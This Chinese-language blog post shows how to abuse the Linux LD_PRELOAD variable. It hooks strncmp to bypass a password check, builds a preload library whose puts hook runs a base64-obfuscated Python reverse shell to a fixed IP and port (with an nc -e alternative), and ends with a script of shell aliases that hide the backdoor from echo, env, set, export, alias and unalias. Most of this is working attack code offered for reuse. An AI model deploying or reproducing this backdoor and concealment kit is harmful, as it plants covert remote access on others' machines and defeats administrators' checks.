关于环境变量LD_PRELOAD的利用

LD_PRELOAD

LD_PRELOADLinux 系统的一个环境变量,它允许运行程序时优先强制加载指定的动态链接库,并且由于 全局符号介入机制 的影响,LD_PRELOAD 指定的动态链接库中的函数会覆盖之后其他动态链接库中的同名函数。对于调试程序或者向程序中注入自定义的代码都是很方便的,本文记录了如何通过 LD_PRELOAD 环境变量来 hook 程序,达到植入后门和调试的目的

全局符号介入

全局符号介入指的是程序调用动态库中的函数时,如果调用的函数在多个动态库中都存在,那么链接器只会保留第一个链接的动态库中的函数,忽略之后同名的函数,所以只要预加载的全局符号中有和后加载的普通共享库中全局符号重名,那么就会覆盖后装载的共享库以及目标文件里的全局符号。

实验-DIY库函数

下面通过一个实验来体会用 LD_PRELOAD 替换 libc 中的库函数

这是 test 程序正常依赖的动态库image-20230925130338187

下面是使用 LD_PRELOAD 加载了一个动态库的状态,能够发现 test 程序依赖的动态库多了一个 hook.so

补充:也可以使用 export 设置环境变量,在当前 shell 会话及子进程中都是有效的,命令如下

export LD_PRELOAD=/home/zikh/Desktop/hook.so
./test

下面通过一个程序用 LD_PRELOADDIY 一下动态库里的 strncmp 函数,主程序代码如下,实现了一个类似于 shell 的场景,只有 su exit 两个功能 ,正常情况下只有输入正确的 password 才能通过检查,输出 ROOT!

//gcc test.c -o test -w
#include <stdio.h>
#include <string.h>

void init()
{
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
}
int main()
{
char buf[0x20];
char passwd[0x20];
init();
const char *password="zikh26";

while(1)
{
printf("-> Desktop ");
read(0,buf,0x20);
if(!strncmp("exit",buf,4))
{
exit(0);
}
if(!strncmp("su",buf,2))
{
printf("Password: ");
read(0,passwd,0x20);
if(!strncmp(password,passwd,strlen(password)))
{
puts("ROOT!");
}
}
}
}

再写一个 hook.c 文件,自定义了一个 strncmp 函数,用来判断两个字符串在 len 字节之前的部分是否一样,但它和动态库原本 strncmp 函数不同的地方在于可以被 \x00 截断

//gcc hook.c -o hook.so -shared -fPIC -w
#include<stdio.h>
int strncmp(const char *s1,const char *s2,int len)
{
for(int i=0;i<len;i++)
{
if(*s1==0 || *s2==0)
{
return 0;
}
if(*s1!=*s2)
{
return 1;
}
s1++;
s2++;
}
return 0;
}

为了确保程序运行时确实调用的是自定义的 strncmp 函数,我选择重新加上 -g 参数,重新编译一下 hook.so ,执行 gdb --args env LD_PRELOAD=/home/zikh/Desktop/hook.so ./test 进行调试,执行到 strncmp 时可以看到确实是执行了我们自定义的函数(不知道为什么,这样无法像 b main 这样来通过符号下断点了)

image-20230926103045471

下面是正常运行 test 程序和加载 hook.so 后再运行 test 的两种情况

image-20230926101305744

这样来看的话,加载的 hook.so 中的 strncmp 函数也可以正常发挥,程序依然运行的没有任何问题

现编写如下的攻击脚本

from pwn import *
context.log_level='debug'
binary_path = "./test"
ld_preload_path = "/home/zikh/Desktop/hook.so"
p = process(binary_path, env={"LD_PRELOAD": ld_preload_path})

pause()
payload='su'
p.send(payload)

pause()
payload="\x00"
p.send(payload)
p.interactive()

image-20230926101701941

在输入密码时,发送一个 \x00 就能截断自定义的 strncmp 函数,从而实现绕过对密码的检查

上面的实验 DIY 了库函数 strncmp ,并且故意写了一个有漏洞自定义函数,算是玩了一下。同理,Linux 下的有些命令本质上也是可执行程序且动态链接,以 whoami 命令为例,能看到它也是正常依赖的 libc

image-20230928091754782

ltrace 命令来查看 whoami 调用了哪些函数,其中发现了 puts 函数被执行,所以我们可以通过劫持动态库中的 puts 函数,让其先执行我们自定义的代码,再去执行原本正常的 puts 函数,这样就可以做到神不知鬼不觉植入一个后门

image-20230928091803468

植入后门

下面的代码就是先记录一下 puts 函数的 libc 地址,因为伴随着劫持 puts 函数,无法通过函数名直接来执行,必须借助函数指针来调用动态库原本的 puts 函数。在此之前执行一个反弹 shell ,这里之所以选择用 python 的原因是 nc 10.214.140.181 4444 -e /bin/bash 这样会阻塞住 shell

//gcc preload.c -o preload.so -ldl -shared -fPIC  
#define _GNU_SOURCE
#define __USE_GNU
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>

int puts(const char *message) {
int (*new_puts)(const char *message);
int result;
new_puts = dlsym(RTLD_NEXT, "puts");

system("python3 -c \"import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTkyLjE2OC4xMTAuMjA1IiwgNDQ0NCkpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAwKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMSkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDIpCiAgICAgICAgcCA9IHN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCAiLWkiXSkKICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICBleGl0KCk=')))\"");
//system("nc 10.214.140.181 4444 -e /bin/bash");
result = new_puts(message);
return result;
}

python 那部分 base64 解码的代码如下,之所以编码一下的原因可能是两个? 免杀? 方便?一行命令就完事?

import os,socket,subprocess;
ret = os.fork()
if ret > 0:
exit()
else:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.110.205", 4444))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
p = subprocess.call(["/bin/sh", "-i"])
except Exception as e:
exit()

将自定义的动态库给编译出来(反弹的 IPport 自行修改),执行命令 export LD_PRELOAD=/home/zikh/Desktop/preload.so 修改环境变量 LD_PRELOAD ,然后再次执行 whoami 命令,发现触发了后门,反弹了 shell 上来,并且靶机没有显示任何异常

image-20230928091826195

隐藏痕迹

但是如果检查环境变量 LD_PRELOAD 是否有值,就可以捕捉到蛛丝马迹

image-20230928091831913

有检查的手段,就有对抗检查的手段。隐藏痕迹的思路就是利用 alias 命令给能够查看环境变量的命令都定义一个别名,在输出环境变量时做一个过滤,如果检查到输出内容有自定义的动态库名称时就输出空格字符或者不输出之类的。

隐藏echo

使用 alias 命令将 echo 定义别名

alias echo='func(){ echo $* | sed "s!/home/zikh/Desktop/preload.so! !g";};func'

首先查看环境变量 LD_PRELOAD 是没有值的,用 export 进行设置后,echo 就能看到 $LD_PRELOAD 的值了,接着用 aliasecho 定义别名,使得 echo 命令输出的字符串如果包含 /home/zikh/Desktop/preload.so 就给替换为空格,实验效果如下

image-20230926153414121

原理如下

首先定义一个 func 函数,最后执行 func 函数中的内容

echo $* 会输出 echo 命令传进来的所有参数

sed 是一个非交互性文本流编辑器,s 参数表示替换,! 作为定界符(正常的分隔符是用 / ,但是避免路径中 / 的干扰,这里选择用 ! 作为定界符),g 表示全局替换。

sed "s/abc/efg/g" 为例,指的是把字符串 abc 替换为 efg ,验证如下

image-20230926152908442

隐藏env

env 输出环境变量时,如果 LD_PRELOAD 的值并不存在,则不会输出关于这个变量的任何信息,如果给 LD_PRELOAD 设置值之后,就能查看到一行关于这个变量的信息(如下)

image-20230926154931395

这里采用的思路是用 grep -v 来过滤掉

grep -v 指的是反转匹配

grep -v "i" 1.txt 

它将输出除了包含字符 i 这一行数据的所有内容,如下

image-20230926154344111

因此使用如下命令,将 env 定义别名,将除去字符串 /home/zikh/Desktop/preload.so 的内容都输出

alias env='func(){ env $* | grep -v "/home/zikh/Desktop/preload.so";};func'

观察下图能发现,最初 env 命令是成功输出了 LD_PRELOAD 环境变量的,但定义 env 别名后,再出执行 env 就已经看不到 LD_PRELOAD 环境变量了

image-20230927122602581

隐藏set

隐藏 set 命令输出的环境变量和 env 同理

alias set='func(){ set $* | grep -v "/home/zikh/Desktop/preload.so";};func'

image-20230927123517421

隐藏export

export 命令的隐藏也是同理

alias export='func(){ export $* | grep -v "/home/zikh/Desktop/preload.so";};func'

image-20230927123629104

隐藏unalias

接下来是对 aliasunalias 命令进行处理

alias 可以查询到对 env 命令做了别名定义,对其使用 unalias 命令删除是可以成功的,如果没有别名的话,用 unalias 删除时应该是报错 no such hash table element: xxx(实验机器为 ubuntu18.04,不同版本的机器上这个错误信息可能不一样)

image-20230927124444781

然后对 unalias 命令进行一下别名定义,希望在识别到参数为 env echo unalias export alias unalias 的时候都输出报错 no such hash table element: xxx ,这样就造成了一种这些命令并没有被别名的假象

shell 脚本如下,代码很容易理解,就是用了两个 if 语句确保 unalias 造成一种假象

alias unalias='func() {
if [ $# != 0 ]; then
if [ $* != "echo" ] && [ $* != "env" ] && [ $* != "set" ] && [ $* != "export" ] && [ $* != "alias" ] && [ $* != "unalias" ]; then
unalias $*
else
echo "unalias: no such hash table element: ${*}"
fi
else
echo "unalias: not enough arguments"
fi
}; func'

执行 alias 命令如下,对 unalias 定义别名

alias unalias='func() { if [ $# -ne 0 ]; then if [[ $* != "echo" && $* != "env" && $* != "set" && $* != "export" && $* != "alias" && $* != "unalias" ]]; then unalias $*; else echo "unalias: no such hash table element: ${*}"; fi; else echo "unalias: not enough arguments"; fi }; func'

隐藏alias

如果用 alias 命令查看哪些函数定义别名的话,依然是个破绽,因此最后对 alias 做一个别名,伪造的方法和隐藏 export set 的输出一样,将输出有动态库名称的命令都给过滤掉,并且要额外过滤一下 unalias (避免被看出来 unalias 命令做过手脚)

alias alias='func(){ alias "$@" | grep -v unalias | grep -v preload.so;};func'

汇总上面的命令,编写 shell 脚本如下

export LD_PRELOAD=/home/zikh/Desktop/preload.so
alias echo='func(){ echo $* | sed "s!/home/zikh/Desktop/preload.so! !g";};func'
alias env='func(){ env $* | grep -v "/home/zikh/Desktop/preload.so";};func'
alias set='func(){ set $* | grep -v "/home/zikh/Desktop/preload.so";};func'
alias export='func(){ export $* | grep -v "/home/zikh/Desktop/preload.so";};func'
alias unalias='func() { if [ $# -ne 0 ]; then if [[ $* != "echo" && $* != "env" && $* != "set" && $* != "export" && $* != "alias" && $* != "unalias" ]]; then unalias $*; else echo "unalias: no such hash table element: ${*}"; fi; else echo "unalias: not enough arguments"; fi }; func'
alias alias='func(){ alias "$@" | grep -v unalias | grep -v preload.so;};func'

将其执行后,调用 whoami 可以看到下图中已经触发了后门,并且用各种方法检查环境变量 LD_PRELOAD 发现一切正常,如下图

image-20230927190012341

参考文章:

https://cloud.tencent.com/developer/article/1683272

https://blog.csdn.net/Rong_Toa/article/details/108474167

https://www.baeldung.com/linux/ld_preload-trick-what-is

https://www.yuque.com/cyberangel/rg9gdm/gg3r9m#MDRY6

https://blog.csdn.net/llm_hao/article/details/115493516

https://www.cnblogs.com/net66/p/5609026.html